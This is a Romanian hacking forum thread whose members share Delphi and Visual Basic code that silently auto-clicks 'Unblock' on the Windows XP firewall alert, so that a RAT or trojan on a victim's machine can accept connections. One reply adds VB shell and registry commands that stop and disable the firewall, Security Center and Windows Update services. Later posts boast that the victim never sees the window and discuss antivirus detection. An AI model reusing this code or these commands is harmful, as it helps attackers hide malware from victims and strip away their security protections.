Firewall Killer XP SP2 [Borland Delphi]

[c0smyn]

Majoritatea datilor cand nu va puteti conecta pe adresa unei victime care a rulat un server de rat, trojan etc este din cauza firewallu`lui care atentioneaza victima. Ei bine aceasta "jucarie" v-a apasa pe butonul "&Unblock".

var
FirewallWindow: hwnd;
UnlockButton: hwnd;
Done: boolean;

label
Check;

begin
Check:
Done := false;
FirewallWindow := FindWindow(nil,'Windows Security Alert');
if FirewallWindow <> 0 then
  begin
UnlockButton := FindWindowEx(FirewallWindow,0,'Button','&Unblock');
SendMessage(UnlockButton ,BM_CLICK,0,0);
Done := true;
  end;
  if Done = true then application.Terminate
    else GoTo Check;
end;

Enjoy

[flippy]

asta in delphi

dar in visual basic ?

[c0smyn]

asta in delphi

dar in visual basic ?

cheamal pe bunnn ala sa il traduca in vb

mi-a mai tradus el niste tutoriale

[Nytro]

Practic nu il "omoara". In plus aplicatia se poate adauga la exceptii, sau i se poate da disable. De tradus in VB e banal, "nil" e NULL nu?

[steli]

[vb] mai simplu , scris de who

Shell("cmd.exe /c net stop " & Chr(34) & "Security Center" & Chr(34), vbHide)
Shell("cmd.exe /c net stop SharedAccess", vbHide)
Shell("cmd.exe /c reg add " & Chr(34) & "HKLM\SYSTEM\CurrentControlSet\Services\SharedAcce ss" & Chr(34) & " /v Start /t REG_DWORD /d 0x4 /f", vbHide)
Shell("cmd.exe /c reg add " & Chr(34) & "HKLM\SYSTEM\CurrentControlSet\Services\wuause rv" & Chr(34) & " /v Start /t REG_DWORD /d 0x4 /f", vbHide)
Shell("cmd.exe /c reg add " & Chr(34) & "HKLM\SYSTEM\CurrentControlSet\Services\wscsvc " & Chr(34) & " /v Start /t REG_DWORD /d 0x4 /f", vbHide)

http://www.opensc.ws/vb-unsorted/3795-add-startup-all-windows-version.html

traducerea in vb :

Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long
Private Declare Function FindWindowEx Lib "user32" Alias "FindWindowExA" (ByVal hWnd1 As Long, ByVal hWnd2 As Long, ByVal lpsz1 As String, ByVal lpsz2 As String) As Long
Private Declare Function SendMessageSTRING Lib "user32" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, ByVal lParam As String) As Long
Private Const WM_CLICK = &HF5

  Dim FirewallWindow As Long
  Dim UnlockButton As Long
  FirewallWindow = FindWindow(vbNullString, "Windows Security Alert")
  If FirewallWindow <> 0 Then
  UnlockButton = FindWindowEx(FirewallWindow, 0, "Button", "&Unblock")
  SendMessageSTRING UnlockButton, WM_CLICK, 0, 0
  End If

Edited March 18, 2009 by steli

[c0smyn]

Practic nu il "omoara".

Alt nume nu am gasit ..

nil(delphi) , null(vb)

edit

codu ala e cam complicat ... find windows find windows ex .. prea detectat de unii antivirusi.

)))))

[mp4]

merge si pe sp3 am testat eu.

[Fitty]

Interesant conceptul...dar omul nu vede nici macar un "flash" al ferestrei? Mai bine modifici in registrii decat asa

[mp4]

Sa stii ca nici macar nu apare....

Pur si simplu, nici macar un frame...

E mai bun asa, deoarece firewallul ii permite serverului sa ruleze, nu dezactiveaza firewall..

Daca victima reactiveaza firewall gata sevrer..